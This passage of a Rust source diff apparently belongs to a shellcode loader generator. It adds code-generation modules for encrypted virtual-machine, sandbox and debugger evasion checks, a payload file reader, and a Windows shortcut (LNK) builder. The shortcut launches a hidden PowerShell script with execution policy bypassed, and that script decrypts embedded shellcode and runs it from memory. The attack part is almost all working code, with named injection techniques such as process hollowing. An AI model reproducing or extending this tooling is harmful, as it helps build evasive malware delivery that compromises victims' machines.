+        let dll_4 = {}(ENCRYPTED_VM_DLL_4, &DECRYPTION_KEY){};
+        
+        let vm_dlls = [
+            dll_0.as_ptr() as *const i8,
+            dll_1.as_ptr() as *const i8,
+            dll_2.as_ptr() as *const i8,
+            dll_3.as_ptr() as *const i8,
+            dll_4.as_ptr() as *const i8,
+        ];
+
+        for dll in vm_dlls.iter() {{
+            if !GetModuleHandleA(*dll).is_null() {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn check_vm_registry() -> bool {{
+    use std::process::Command;
+
+    const ENCRYPTED_VM_KEY_0: &[u8] = &{};
+    const ENCRYPTED_VM_KEY_1: &[u8] = &{};
+    const ENCRYPTED_VM_KEY_2: &[u8] = &{};
+    const ENCRYPTED_VM_KEY_3: &[u8] = &{};
+    const ENCRYPTED_VM_KEY_4: &[u8] = &{};
+    const ENCRYPTED_VM_KEY_5: &[u8] = &{};
+    
+    let key_0 = {}(ENCRYPTED_VM_KEY_0, &DECRYPTION_KEY){};
+    let key_1 = {}(ENCRYPTED_VM_KEY_1, &DECRYPTION_KEY){};
+    let key_2 = {}(ENCRYPTED_VM_KEY_2, &DECRYPTION_KEY){};
+    let key_3 = {}(ENCRYPTED_VM_KEY_3, &DECRYPTION_KEY){};
+    let key_4 = {}(ENCRYPTED_VM_KEY_4, &DECRYPTION_KEY){};
+    let key_5 = {}(ENCRYPTED_VM_KEY_5, &DECRYPTION_KEY){};
+    
+    let vm_keys = [
+        String::from_utf8_lossy(&key_0).to_string(),
+        String::from_utf8_lossy(&key_1).to_string(),
+        String::from_utf8_lossy(&key_2).to_string(),
+        String::from_utf8_lossy(&key_3).to_string(),
+        String::from_utf8_lossy(&key_4).to_string(),
+        String::from_utf8_lossy(&key_5).to_string(),
+    ];
+
+    for key in vm_keys.iter() {{
+        if let Ok(output) = Command::new("reg").args(&["query", key]).output() {{
+            if output.status.success() {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn check_vm_processes() -> bool {{
+    use std::process::Command;
+
+    const ENCRYPTED_VM_PROC_0: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_1: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_2: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_3: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_4: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_5: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_6: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_7: &[u8] = &{};
+    const ENCRYPTED_VM_PROC_8: &[u8] = &{};
+    
+    let proc_0 = {}(ENCRYPTED_VM_PROC_0, &DECRYPTION_KEY){};
+    let proc_1 = {}(ENCRYPTED_VM_PROC_1, &DECRYPTION_KEY){};
+    let proc_2 = {}(ENCRYPTED_VM_PROC_2, &DECRYPTION_KEY){};
+    let proc_3 = {}(ENCRYPTED_VM_PROC_3, &DECRYPTION_KEY){};
+    let proc_4 = {}(ENCRYPTED_VM_PROC_4, &DECRYPTION_KEY){};
+    let proc_5 = {}(ENCRYPTED_VM_PROC_5, &DECRYPTION_KEY){};
+    let proc_6 = {}(ENCRYPTED_VM_PROC_6, &DECRYPTION_KEY){};
+    let proc_7 = {}(ENCRYPTED_VM_PROC_7, &DECRYPTION_KEY){};
+    let proc_8 = {}(ENCRYPTED_VM_PROC_8, &DECRYPTION_KEY){};
+
+    if let Ok(output) = Command::new("tasklist").output() {{
+        let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+        let vm_processes = [
+            String::from_utf8_lossy(&proc_0).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_1).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_2).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_3).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_4).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_5).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_6).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_7).to_string().to_lowercase(),
+            String::from_utf8_lossy(&proc_8).to_string().to_lowercase(),
+        ];
+        for process in vm_processes.iter() {{
+            if output_str.contains(process) {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn check_vm_cpu_count() -> bool {{
+    use std::env;
+
+    if let Ok(num_cpus) = env::var("NUMBER_OF_PROCESSORS") {{
+        if let Ok(count) = num_cpus.parse::<u32>() {{
+            if count < 2 {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn check_vm_memory() -> bool {{
+    unsafe {{
+        let mut meminfo = MemoryStatusEx {{
+            length: std::mem::size_of::<MemoryStatusEx>() as u32,
+            memory_load: 0,
+            total_phys: 0,
+            avail_phys: 0,
+            total_page_file: 0,
+            avail_page_file: 0,
+            total_virtual: 0,
+            avail_virtual: 0,
+            avail_extended_virtual: 0,
+        }};
+
+        if GlobalMemoryStatusEx(&mut meminfo) != 0 {{
+            let total_ram_gb = meminfo.total_phys / (1024 * 1024 * 1024);
+            if total_ram_gb < 2 {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn check_vm_firmware() -> bool {{
+    use std::process::Command;
+
+    const ENCRYPTED_VM_VENDOR_0: &[u8] = &{};
+    const ENCRYPTED_VM_VENDOR_1: &[u8] = &{};
+    const ENCRYPTED_VM_VENDOR_2: &[u8] = &{};
+    const ENCRYPTED_VM_VENDOR_3: &[u8] = &{};
+    const ENCRYPTED_VM_VENDOR_4: &[u8] = &{};
+    
+    let vendor_0 = {}(ENCRYPTED_VM_VENDOR_0, &DECRYPTION_KEY){};
+    let vendor_1 = {}(ENCRYPTED_VM_VENDOR_1, &DECRYPTION_KEY){};
+    let vendor_2 = {}(ENCRYPTED_VM_VENDOR_2, &DECRYPTION_KEY){};
+    let vendor_3 = {}(ENCRYPTED_VM_VENDOR_3, &DECRYPTION_KEY){};
+    let vendor_4 = {}(ENCRYPTED_VM_VENDOR_4, &DECRYPTION_KEY){};
+
+    if let Ok(output) = Command::new("wmic")
+        .args(&["bios", "get", "manufacturer"])
+        .output()
+    {{
+        let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+        let vm_vendors = [
+            String::from_utf8_lossy(&vendor_0).to_string().to_lowercase(),
+            String::from_utf8_lossy(&vendor_1).to_string().to_lowercase(),
+            String::from_utf8_lossy(&vendor_2).to_string().to_lowercase(),
+            String::from_utf8_lossy(&vendor_3).to_string().to_lowercase(),
+            String::from_utf8_lossy(&vendor_4).to_string().to_lowercase(),
+        ];
+        for vendor in vm_vendors.iter() {{
+            if output_str.contains(vendor) {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn detect_vm() -> bool {{
+    check_vm_artifacts()
+        || check_vm_registry()
+        || check_vm_processes()
+        || check_vm_cpu_count()
+        || check_vm_memory()
+        || check_vm_firmware()
+}}
+"#,
+        vm_dll_arrays[0],
+        vm_dll_arrays[1],
+        vm_dll_arrays[2],
+        vm_dll_arrays[3],
+        vm_dll_arrays[4],
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        vm_registry_arrays[0],
+        vm_registry_arrays[1],
+        vm_registry_arrays[2],
+        vm_registry_arrays[3],
+        vm_registry_arrays[4],
+        vm_registry_arrays[5],
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        vm_process_arrays[0],
+        vm_process_arrays[1],
+        vm_process_arrays[2],
+        vm_process_arrays[3],
+        vm_process_arrays[4],
+        vm_process_arrays[5],
+        vm_process_arrays[6],
+        vm_process_arrays[7],
+        vm_process_arrays[8],
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        vm_vendor_arrays[0],
+        vm_vendor_arrays[1],
+        vm_vendor_arrays[2],
+        vm_vendor_arrays[3],
+        vm_vendor_arrays[4],
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+    )
+}
+
+/// Generate anti-sandbox checks with encrypted strings
+pub fn anti_sandbox_checks_with_encryption(
+    file_path_array: &str,
+    decrypt_fn: &str,
+    expect_clause: &str,
+) -> String {
+    format!(
+        r#"
+fn check_sandbox_user_interaction() -> bool {{
+    use std::time::{{Duration, Instant}};
+
+    unsafe {{
+        let mut info = LastInputInfo {{
+            size: std::mem::size_of::<LastInputInfo>() as u32,
+            time: 0,
+        }};
+
+        if GetLastInputInfo(&mut info) != 0 {{
+            let current_time = GetTickCount();
+            let idle_time = current_time - info.time;
+            if idle_time < 60000 {{
+                return false;
+            }}
+        }}
+    }}
+    true
+}}
+
+fn check_sandbox_timing() -> bool {{
+    use std::time::Instant;
+
+    let iterations = 10;
+    let mut timings = Vec::new();
+
+    for _ in 0..iterations {{
+        let start = Instant::now();
+        let mut sum = 0u64;
+        for i in 0..100000 {{
+            sum = sum.wrapping_add(i);
+        }}
+        let elapsed = start.elapsed().as_nanos();
+        timings.push(elapsed);
+    }}
+
+    if let Some(avg) = timings.iter().sum::<u128>().checked_div(timings.len() as u128) {{
+        if avg < 1000 {{
+            return true;
+        }}
+    }}
+    false
+}}
+
+fn check_sandbox_file_count() -> bool {{
+    use std::fs;
+
+    const ENCRYPTED_FILE_PATH: &[u8] = &{};
+    let file_path = {}(ENCRYPTED_FILE_PATH, &DECRYPTION_KEY){};
+    let file_path_str = String::from_utf8_lossy(&file_path).to_string();
+
+    if let Ok(entries) = fs::read_dir(&file_path_str) {{
+        let count = entries.count();
+        if count < 100 {{
+            return true;
+        }}
+    }}
+    false
+}}
+
+fn check_sandbox_uptime() -> bool {{
+    unsafe {{
+        let uptime_ms = GetTickCount64();
+        let uptime_minutes = uptime_ms / (1000 * 60);
+        if uptime_minutes < 10 {{
+            return true;
+        }}
+    }}
+    false
+}}
+
+fn check_sandbox_recent_files() -> bool {{
+    use std::fs;
+    use std::path::PathBuf;
+
+    if let Ok(appdata) = std::env::var("APPDATA") {{
+        let recent_path = PathBuf::from(appdata).join("Microsoft\\Windows\\Recent");
+        if let Ok(entries) = fs::read_dir(recent_path) {{
+            let count = entries.count();
+            if count < 5 {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn detect_sandbox() -> bool {{
+    check_sandbox_user_interaction()
+        || check_sandbox_timing()
+        || check_sandbox_file_count()
+        || check_sandbox_uptime()
+        || check_sandbox_recent_files()
+}}
+"#,
+        file_path_array, decrypt_fn, expect_clause,
+    )
+}
+
+/// Generate anti-debugger checks with encrypted strings
+pub fn anti_debugger_checks_with_encryption(
+    debugger_parent_arrays: &[String],
+    decrypt_fn: &str,
+    expect_clause: &str,
+) -> String {
+    format!(
+        r#"
+fn check_debugger_present() -> bool {{
+    unsafe {{
+        IsDebuggerPresent() != 0
+    }}
+}}
+
+fn check_remote_debugger() -> bool {{
+    unsafe {{
+        let mut is_present: i32 = 0;
+        let result = CheckRemoteDebuggerPresent(GetCurrentProcess(), &mut is_present);
+        result != 0 && is_present != 0
+    }}
+}}
+
+fn check_debug_port() -> bool {{
+    unsafe {{
+        let mut debug_port: usize = 0;
+        let status = NtQueryInformationProcess(
+            GetCurrentProcess(),
+            7,
+            &mut debug_port as *mut usize as *mut std::ffi::c_void,
+            std::mem::size_of::<usize>() as u32,
+            std::ptr::null_mut(),
+        );
+
+        status == 0 && debug_port != 0
+    }}
+}}
+
+fn check_hardware_breakpoints() -> bool {{
+    unsafe {{
+        let mut context = Context {{
+            context_flags: 0x00010000 | 0x00000010,
+            dr0: 0,
+            dr1: 0,
+            dr2: 0,
+            dr3: 0,
+            dr6: 0,
+            dr7: 0,
+            _padding: [0; 512],
+        }};
+
+        if GetThreadContext(GetCurrentThread(), &mut context) != 0 {{
+            if context.dr0 != 0 || context.dr1 != 0 || context.dr2 != 0 || context.dr3 != 0 {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn check_parent_process() -> bool {{
+    use std::process::Command;
+
+    const ENCRYPTED_DBG_PARENT_0: &[u8] = &{};
+    const ENCRYPTED_DBG_PARENT_1: &[u8] = &{};
+    const ENCRYPTED_DBG_PARENT_2: &[u8] = &{};
+    const ENCRYPTED_DBG_PARENT_3: &[u8] = &{};
+    const ENCRYPTED_DBG_PARENT_4: &[u8] = &{};
+    
+    let parent_0 = {}(ENCRYPTED_DBG_PARENT_0, &DECRYPTION_KEY){};
+    let parent_1 = {}(ENCRYPTED_DBG_PARENT_1, &DECRYPTION_KEY){};
+    let parent_2 = {}(ENCRYPTED_DBG_PARENT_2, &DECRYPTION_KEY){};
+    let parent_3 = {}(ENCRYPTED_DBG_PARENT_3, &DECRYPTION_KEY){};
+    let parent_4 = {}(ENCRYPTED_DBG_PARENT_4, &DECRYPTION_KEY){};
+
+    if let Ok(output) = Command::new("tasklist")
+        .args(&["/v", "/fo", "csv"])
+        .output()
+    {{
+        let output_str = String::from_utf8_lossy(&output.stdout).to_lowercase();
+        let debugger_parents = [
+            String::from_utf8_lossy(&parent_0).to_string().to_lowercase(),
+            String::from_utf8_lossy(&parent_1).to_string().to_lowercase(),
+            String::from_utf8_lossy(&parent_2).to_string().to_lowercase(),
+            String::from_utf8_lossy(&parent_3).to_string().to_lowercase(),
+            String::from_utf8_lossy(&parent_4).to_string().to_lowercase(),
+        ];
+        for parent in debugger_parents.iter() {{
+            if output_str.contains(parent) {{
+                return true;
+            }}
+        }}
+    }}
+    false
+}}
+
+fn detect_debugger() -> bool {{
+    check_debugger_present()
+        || check_remote_debugger()
+        || check_debug_port()
+        || check_hardware_breakpoints()
+        || check_parent_process()
+}}
+"#,
+        debugger_parent_arrays[0],
+        debugger_parent_arrays[1],
+        debugger_parent_arrays[2],
+        debugger_parent_arrays[3],
+        debugger_parent_arrays[4],
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+        decrypt_fn,
+        expect_clause,
+    )
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_anti_vm_checks_contains_vm_detection() {
+        let code = anti_vm_checks();
+        assert!(code.contains("detect_vm"));
+        assert!(code.contains("check_vm_artifacts"));
+        assert!(code.contains("check_vm_registry"));
+        assert!(code.contains("check_vm_processes"));
+    }
+
+    #[test]
+    fn test_anti_sandbox_checks_contains_sandbox_detection() {
+        let code = anti_sandbox_checks();
+        assert!(code.contains("detect_sandbox"));
+        assert!(code.contains("check_sandbox_timing"));
+        assert!(code.contains("check_sandbox_uptime"));
+    }
+
+    #[test]
+    fn test_anti_debugger_checks_contains_debugger_detection() {
+        let code = anti_debugger_checks();
+        assert!(code.contains("detect_debugger"));
+        assert!(code.contains("IsDebuggerPresent"));
+        assert!(code.contains("check_hardware_breakpoints"));
+    }
+
+    #[test]
+    fn test_generate_evasion_check_call_single_flag() {
+        let call = generate_evasion_check_call(true, false, false);
+        assert!(call.contains("detect_vm()"));
+        assert!(!call.contains("detect_sandbox()"));
+        assert!(!call.contains("detect_debugger()"));
+    }
+
+    #[test]
+    fn test_generate_evasion_check_call_multiple_flags() {
+        let call = generate_evasion_check_call(true, true, false);
+        assert!(call.contains("detect_vm()"));
+        assert!(call.contains("detect_sandbox()"));
+        assert!(!call.contains("detect_debugger()"));
+        assert!(call.contains("||"));
+    }
+
+    #[test]
+    fn test_generate_evasion_check_call_all_flags() {
+        let call = generate_evasion_check_call(true, true, true);
+        assert!(call.contains("detect_vm()"));
+        assert!(call.contains("detect_sandbox()"));
+        assert!(call.contains("detect_debugger()"));
+    }
+
+    #[test]
+    fn test_generate_evasion_check_call_no_flags() {
+        let call = generate_evasion_check_call(false, false, false);
+        assert!(call.is_empty());
+    }
+}

diff --git a/src/file_ops.rs b/src/file_ops.rs
@@ -0,0 +1,101 @@
+//! File Operations Module
+//!
+//! Provides simple file I/O utilities for reading shellcode files and other
+//! binary data. This module is kept minimal and focused on the specific needs
+//! of the shellcode loader generator.
+//!
+//! # Functions
+//!
+//! - `read_file_bytes`: Reads a file and returns its contents as a byte vector
+//!
+//! # Example
+//!
+//! ```no_run
+//! use myph_v2::file_ops::read_file_bytes;
+//!
+//! let shellcode = read_file_bytes("payload.raw").expect("Failed to read file");
+//! println!("Read {} bytes", shellcode.len());
+//! ```
+
+use std::fs;
+use std::io;
+use std::path::Path;
+
+/// Reads a file and returns its contents as bytes
+pub fn read_file_bytes<P: AsRef<Path>>(path: P) -> io::Result<Vec<u8>> {
+    fs::read(path)
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+    use std::io::Write;
+
+    #[test]
+    fn test_read_file_bytes_success() {
+        let temp_dir = std::env::temp_dir();
+        let test_file = temp_dir.join(format!("test_read_{}.bin", rand::random::<u32>()));
+
+        let test_data = b"Hello, World!";
+        let mut file = fs::File::create(&test_file).unwrap();
+        file.write_all(test_data).unwrap();
+        drop(file);
+
+        let result = read_file_bytes(&test_file);
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap(), test_data);
+
+        let _ = fs::remove_file(&test_file);
+    }
+
+    #[test]
+    fn test_read_file_bytes_binary_data() {
+        let temp_dir = std::env::temp_dir();
+        let test_file = temp_dir.join(format!("test_binary_{}.bin", rand::random::<u32>()));
+
+        let test_data: Vec<u8> = vec![0x00, 0xFF, 0xAA, 0x55, 0x01, 0x02];
+        fs::write(&test_file, &test_data).unwrap();
+
+        let result = read_file_bytes(&test_file);
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap(), test_data);
+
+        let _ = fs::remove_file(&test_file);
+    }
+
+    #[test]
+    fn test_read_file_bytes_empty_file() {
+        let temp_dir = std::env::temp_dir();
+        let test_file = temp_dir.join(format!("test_empty_{}.bin", rand::random::<u32>()));
+
+        fs::write(&test_file, b"").unwrap();
+
+        let result = read_file_bytes(&test_file);
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap(), b"");
+
+        let _ = fs::remove_file(&test_file);
+    }
+
+    #[test]
+    fn test_read_file_bytes_nonexistent() {
+        let nonexistent = "/nonexistent/path/to/file.bin";
+        let result = read_file_bytes(nonexistent);
+        assert!(result.is_err());
+    }
+
+    #[test]
+    fn test_read_file_bytes_large_file() {
+        let temp_dir = std::env::temp_dir();
+        let test_file = temp_dir.join(format!("test_large_{}.bin", rand::random::<u32>()));
+
+        let test_data: Vec<u8> = (0..10000).map(|i| (i % 256) as u8).collect();
+        fs::write(&test_file, &test_data).unwrap();
+
+        let result = read_file_bytes(&test_file);
+        assert!(result.is_ok());
+        assert_eq!(result.unwrap(), test_data);
+
+        let _ = fs::remove_file(&test_file);
+    }
+}

diff --git a/src/internals/dependencies.rs b/src/internals/dependencies.rs
@@ -0,0 +1,79 @@
+fn aes_dependencies_template() -> &'static str {
+    r#"
+aes = "0.8"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn chacha20_dependencies_template() -> &'static str {
+    r#"
+chacha20 = "0.9"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn blowfish_dependencies_template() -> &'static str {
+    r#"
+blowfish = "0.9"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn aes256_dependencies_template() -> &'static str {
+    r#"
+aes = "0.8"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn twofish_dependencies_template() -> &'static str {
+    r#"
+twofish = "0.7"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn camellia_dependencies_template() -> &'static str {
+    r#"
+camellia = "0.1"
+cbc = "0.1"
+cipher = { version = "0.4", features = ["std"] }
+"#
+}
+
+fn api_resolver_dependencies() -> &'static str {
+    r#"
+ntapi = "0.4"
+winapi = { version = "0.3", features = ["ntdef"] }
+"#
+}
+
+pub fn get_dependencies_for_encryption(encryption_type: &str) -> Result<&'static str, String> {
+    match encryption_type {
+        "aes" => Ok(aes_dependencies_template()),
+        "aes256" => Ok(aes256_dependencies_template()),
+        "chacha20" => Ok(chacha20_dependencies_template()),
+        "blowfish" => Ok(blowfish_dependencies_template()),
+        "twofish" => Ok(twofish_dependencies_template()),
+        "camellia" => Ok(camellia_dependencies_template()),
+        "xor" => Ok(""),
+        _ => Err(format!("Unknown encryption type: {}", encryption_type)),
+    }
+}
+
+pub fn get_dependencies(
+    encryption_type: &str,
+    with_dynamic_resolver: bool,
+) -> Result<String, String> {
+    let mut deps = get_dependencies_for_encryption(encryption_type)?.to_string();
+
+    if with_dynamic_resolver {
+        deps.push_str(api_resolver_dependencies());
+    }
+
+    Ok(deps)
+}

diff --git a/src/internals/lnk_generator.rs b/src/internals/lnk_generator.rs
@@ -0,0 +1,297 @@
+use crate::cli::{EncryptionKind, Technique};
+use lnk::ShellLink;
+use std::fs;
+use std::io;
+use std::path::Path;
+
+pub fn generate_lnk_file(
+    encrypted_shellcode: &[u8],
+    output_path: &Path,
+    encryption: &EncryptionKind,
+    technique: &Technique,
+    key: &str,
+    _process: &str,
+) -> io::Result<()> {
+    let powershell_payload =
+        generate_powershell_payload(encrypted_shellcode, encryption, technique, key);
+
+    let temp_dir = std::env::temp_dir();
+    let payload_file = temp_dir.join(format!("payload_{}.ps1", uuid::Uuid::new_v4()));
+
+    fs::write(&payload_file, powershell_payload.as_bytes())?;
+
+    // Use default() for cross-platform compatibility (doesn't require target file to exist)
+    let mut shell_link = ShellLink::default();
+
+    // Set target to PowerShell
+    shell_link.set_relative_path(Some(format!(".\\{}", "powershell.exe")));
+    shell_link.set_working_dir(Some(
+        r"C:\Windows\System32\WindowsPowerShell\v1.0".to_string(),
+    ));
+
+    let arguments = format!(
+        r#"-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -File "{}""#,
+        payload_file.display()
+    );
+
+    shell_link.set_arguments(Some(arguments));
+    shell_link.set_icon_location(Some(r"C:\Windows\System32\shell32.dll".into()));
+
+    // Set appropriate flags for the link
+    let header = shell_link.header_mut();
+    let current_flags = *header.link_flags();
+    header.set_link_flags(
+        current_flags
+            | lnk::LinkFlags::HAS_ARGUMENTS
+            | lnk::LinkFlags::HAS_RELATIVE_PATH
+            | lnk::LinkFlags::HAS_WORKING_DIR
+            | lnk::LinkFlags::HAS_ICON_LOCATION
+            | lnk::LinkFlags::IS_UNICODE,
+    );
+
+    shell_link
+        .save(output_path)
+        .map_err(|e| io::Error::other(format!("Failed to save LNK file: {}", e)))?;
+
+    Ok(())
+}
+
+fn generate_powershell_payload(
+    encrypted_shellcode: &[u8],
+    encryption: &EncryptionKind,
+    technique: &Technique,
+    key: &str,
+) -> String {
+    let base64_shellcode = base64_encode(encrypted_shellcode);
+    let decryption_code = generate_decryption_code(encryption, key);
+    let execution_code = generate_execution_code(technique);
+
+    format!(
+        r#"
+$ErrorActionPreference = "SilentlyContinue"
+$encData = [System.Convert]::FromBase64String("{}")
+{}
+$shellcode = $decryptedData
+{}
+"#,
+        base64_shellcode, decryption_code, execution_code
+    )
+}
+
+fn base64_encode(data: &[u8]) -> String {
+    use base64::Engine;
+    base64::engine::general_purpose::STANDARD.encode(data)
+}
+
+fn generate_decryption_code(encryption: &EncryptionKind, key: &str) -> String {
+    match encryption {
+        EncryptionKind::XOR => {
+            format!(
+                r#"
+$key = [System.Text.Encoding]::UTF8.GetBytes("{}")
+$decryptedData = New-Object byte[] $encData.Length
+for ($i = 0; $i -lt $encData.Length; $i++) {{
+    $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
+}}
+"#,
+                key
+            )
+        }
+        EncryptionKind::AES | EncryptionKind::AES256 => {
+            let key_size = if matches!(encryption, EncryptionKind::AES) {
+                128
+            } else {
+                256
+            };
+            format!(
+                r#"
+$keyBytes = [System.Security.Cryptography.SHA256]::Create().ComputeHash([System.Text.Encoding]::UTF8.GetBytes("{}"))
+$iv = $encData[0..15]
+$ciphertext = $encData[16..($encData.Length - 1)]
+$aes = [System.Security.Cryptography.Aes]::Create()
+$aes.KeySize = {}
+$aes.Key = $keyBytes[0..(({}/8) - 1)]
+$aes.IV = $iv
+$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
+$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
+$decryptor = $aes.CreateDecryptor()
+$decryptedData = $decryptor.TransformFinalBlock($ciphertext, 0, $ciphertext.Length)
+$aes.Dispose()
+"#,
+                key, key_size, key_size
+            )
+        }
+        EncryptionKind::Chacha20 => {
+            format!(
+                r#"
+# ChaCha20 decryption requires external library or native implementation
+# For simplicity, using XOR as fallback
+$key = [System.Text.Encoding]::UTF8.GetBytes("{}")
+$decryptedData = New-Object byte[] $encData.Length
+for ($i = 0; $i -lt $encData.Length; $i++) {{
+    $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
+}}
+"#,
+                key
+            )
+        }
+        EncryptionKind::Blowfish | EncryptionKind::Twofish | EncryptionKind::Camellia => {
+            let enc_name = format!("{:?}", encryption);
+            format!(
+                r#"
+# {0} decryption requires external library
+# For simplicity, using XOR as fallback
+$key = [System.Text.Encoding]::UTF8.GetBytes("{1}")
+$decryptedData = New-Object byte[] $encData.Length
+for ($i = 0; $i -lt $encData.Length; $i++) {{
+    $decryptedData[$i] = $encData[$i] -bxor $key[$i % $key.Length]
+}}
+"#,
+                enc_name, key
+            )
+        }
+    }
+}
+
+fn generate_execution_code(technique: &Technique) -> String {
+    match technique {
+        Technique::CreateFiber
+        | Technique::Syscall
+        | Technique::Etwp
+        | Technique::SetTimer
+        | Technique::EnumCalendar
+        | Technique::EnumWindows
+        | Technique::EnumSystemLocales
+        | Technique::ImageGetDigestStream
+        | Technique::ModuleStomping
+        | Technique::FairyLaw => r#"
+$addr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
+    [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length),
+    [Type]::GetType("System.Void")
+)
+[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
+$invokeMethod = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
+    $addr,
+    [Type]::GetType("System.Action")
+)
+$invokeMethod.Invoke()
+"#
+        .to_string(),
+        Technique::CRT
+        | Technique::CRTx
+        | Technique::ProcessHollowing
+        | Technique::CreateThread
+        | Technique::NtCreateThreadEx
+        | Technique::QueueUserAPC
+        | Technique::ThreadHijacking
+        | Technique::EarlyBird => r#"
+# Process injection techniques not fully supported in LNK format
+# Using local execution as fallback
+$addr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($shellcode.Length)
+[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length)
+$fnPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer(
+    $addr,
+    [Type]::GetType("System.Action")
+)
+$fnPtr.Invoke()
+"#
+        .to_string(),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn test_generate_powershell_payload() {
+        let shellcode = vec![0x90, 0x90, 0xc3];
+        let payload = generate_powershell_payload(
+            &shellcode,
+            &EncryptionKind::XOR,
+            &Technique::CreateFiber,
+            "test_key",
+        );
+
+        assert!(payload.contains("FromBase64String"));
+        assert!(payload.contains("test_key"));
+        assert!(payload.contains("$decryptedData"));
+    }
+
+    #[test]
+    fn test_base64_encode() {
+        let data = vec![0x48, 0x65, 0x6c, 0x6c, 0x6f];
+        let encoded = base64_encode(&data);
+        assert_eq!(encoded, "SGVsbG8=");
+    }
+
+    #[test]
+    fn test_generate_decryption_code_xor() {
+        let code = generate_decryption_code(&EncryptionKind::XOR, "mykey");
+        assert!(code.contains("mykey"));
+        assert!(code.contains("-bxor"));
+        assert!(code.contains("$decryptedData"));
+    }
+
+    #[test]
+    fn test_generate_decryption_code_aes() {
+        let code = generate_decryption_code(&EncryptionKind::AES, "mykey");
+        assert!(code.contains("mykey"));
+        assert!(code.contains("SHA256"));
+        assert!(code.contains("Aes"));
+        assert!(code.contains("KeySize = 128"));
+    }
+
+    #[test]
+    fn test_generate_decryption_code_aes256() {
+        let code = generate_decryption_code(&EncryptionKind::AES256, "mykey");
+        assert!(code.contains("KeySize = 256"));
+    }
+
+    #[test]
+    fn test_generate_execution_code_local() {
+        let code = generate_execution_code(&Technique::CreateFiber);
+        assert!(code.contains("AllocHGlobal"));
+        assert!(code.contains("Marshal"));
+        assert!(code.contains("Invoke"));
+    }
+
+    #[test]
+    fn test_generate_execution_code_injection() {
+        let code = generate_execution_code(&Technique::CRT);
+        assert!(code.contains("AllocHGlobal"));
+        assert!(code.contains("fallback"));
+    }
+
+    #[test]
+    #[cfg(target_os = "windows")]
+    fn test_generate_lnk_file() {
+        let shellcode = vec![0x90, 0x90, 0xc3];
+        let temp_dir = std::env::temp_dir();
+        let output = temp_dir.join("test_output.lnk");
+
+        let result = generate_lnk_file(
+            &shellcode,
+            &output,
+            &EncryptionKind::XOR,
+            &Technique::CreateFiber,
+            "test_key",
+            "notepad.exe",
+        );
+
+        if let Err(e) = &result {
+            eprintln!("Error generating LNK file: {}", e);
+        }
